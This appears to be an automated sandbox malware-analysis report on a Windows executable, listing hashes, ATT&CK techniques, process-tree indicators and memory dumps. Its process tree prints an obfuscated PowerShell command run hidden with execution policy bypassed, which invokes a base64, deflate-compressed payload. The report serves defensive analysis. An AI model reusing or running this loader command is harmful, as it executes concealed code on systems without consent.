986b9e388b0d1f13f7b32f1deb2d0ec46ce5bbfcf730b3990dd0bbb667babd18

Analysis

max time kernel
122s
max time network
132s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
24/10/2023, 02:27

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General

Target

8bb2289a9b517feaada0d786135691be17f8bad0be5adee6ba0d9fae39b760d2.exe
Size

384KB
MD5

cddc6e9339050146fb532f76c6364ff9
SHA1

e014f6777e202a6b25df3e10de0fbd4c3ae579e0
SHA256

8bb2289a9b517feaada0d786135691be17f8bad0be5adee6ba0d9fae39b760d2
SHA512

47c3c18d2842c287801b49237d9c3933f4455361492de856f1cd0d2c75a9d45092ddd8f660fd0453cea10513f32b9e5b6047cb1726a043f7b1f1befa25b99256
SSDEEP

6144:dt5hBPi0BW69hd1MMdxPe9N9uA069TBSS5:dtzww69TMS5

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2236	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2236	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 1580	2052	8bb2289a9b517feaada0d786135691be17f8bad0be5adee6ba0d9fae39b760d2.exe	28
PID 2052 wrote to memory of 1580	2052	8bb2289a9b517feaada0d786135691be17f8bad0be5adee6ba0d9fae39b760d2.exe	28
PID 2052 wrote to memory of 1580	2052	8bb2289a9b517feaada0d786135691be17f8bad0be5adee6ba0d9fae39b760d2.exe	28
PID 1580 wrote to memory of 2236	1580	cmd.exe	30
PID 1580 wrote to memory of 2236	1580	cmd.exe	30
PID 1580 wrote to memory of 2236	1580	cmd.exe	30
PID 1580 wrote to memory of 2236	1580	cmd.exe	30

C:\Users\Admin\AppData\Local\Temp\8bb2289a9b517feaada0d786135691be17f8bad0be5adee6ba0d9fae39b760d2.exe
"C:\Users\Admin\AppData\Local\Temp\8bb2289a9b517feaada0d786135691be17f8bad0be5adee6ba0d9fae39b760d2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\9B65.tmp\9B66.tmp\9B67.bat C:\Users\Admin\AppData\Local\Temp\8bb2289a9b517feaada0d786135691be17f8bad0be5adee6ba0d9fae39b760d2.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbTkhoDQIiZvSIrUpIqh9iPLgbAayZb1r7Y6TGJp/7xictiBaVX069u7MOWcuGwg4hhPfm14odVmUxlLo36PVqPZ76UIpP5pBWc2VFOAoJwbcEN/DpaYrsvBFWqpydaqUEWF7to6hkppg02Ld4kN09N865xZzwpslw2KnU7W8qxh+Kbdfv2m3J426f+KRrR8Dx0WPcZ18nn9DQTCpHWGRjpHSiRH3SK5FCKdv3J0uFhadG+WFVPVsOGQBtBywNvY+hrcynvGmLpHDJ8RFFG8HXllDRhjVht6IMvICl54brdlouNd910u7h4O01z9Iu73BXgyDbJBF8B1MRYmulDqCoOTqpqfW5o2558Zdau6qFhj685rQj6EfceCGA5n9GgXKFYZB+Yroge8zL6j/gW96JoldrtByLxrnhruy32POOIs6B41aPc1mDeHmbOStl1IhhKyQKPp7cgSPjZPOS6t1HDx0DuJu/Od2j1R+55htbDRGsPVujWVFedxlL5J1EfrNV6fDCmwukI27Hd0rR++RzrhQF055qWZs5EOuFwojzkq6s60XEOfyXiTN4CApsJijvcBbqSVJoyEQkIzzAsH/KvV+z4dE858rc4HwdDKqtGgiHSRl7hwtbdUM6Dig4fDFG8vioE4/or6jZZxt9rMsY+hnkbdzfl1pkgWmT1tpygnalRTo0k+5dctcNSM0Zd10EDKe2/PrmIXBJt21PYpi+CnC+0e7qbfPjxXjYBM38Gr1JpRbSiYKsYRkgsLoBQwO+1m2FTmJ5eP2Bw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9B65.tmp\9B66.tmp\9B67.bat

Filesize
2KB

MD5
eca033c64955fdba5726603cde858bf3

SHA1
b000490902c189913ce7296ded5eb89bb026dd4c

SHA256
74409e6db210f816202671fa30505219087175c4c0a6841d079b113c425508b5

SHA512
3af48c712a3417810a4a11fc6af61bd56aff777d6a621ef883092aeca64630ac9fdc4aa54b70ccf4baa9779e567b1a806d2ac87a95cba5ec2b27c81110ea7f4e

Download Submit
memory/2236-4-0x00000000742C0000-0x000000007486B000-memory.dmp

Filesize
5.7MB

Download
memory/2236-5-0x00000000742C0000-0x000000007486B000-memory.dmp

Filesize
5.7MB

Download
memory/2236-6-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2236-7-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2236-8-0x00000000742C0000-0x000000007486B000-memory.dmp

Filesize
5.7MB

Download
memory/2236-9-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2236-10-0x00000000027C0000-0x0000000002800000-memory.dmp

Filesize
256KB

Download
memory/2236-11-0x00000000742C0000-0x000000007486B000-memory.dmp

Filesize
5.7MB

Download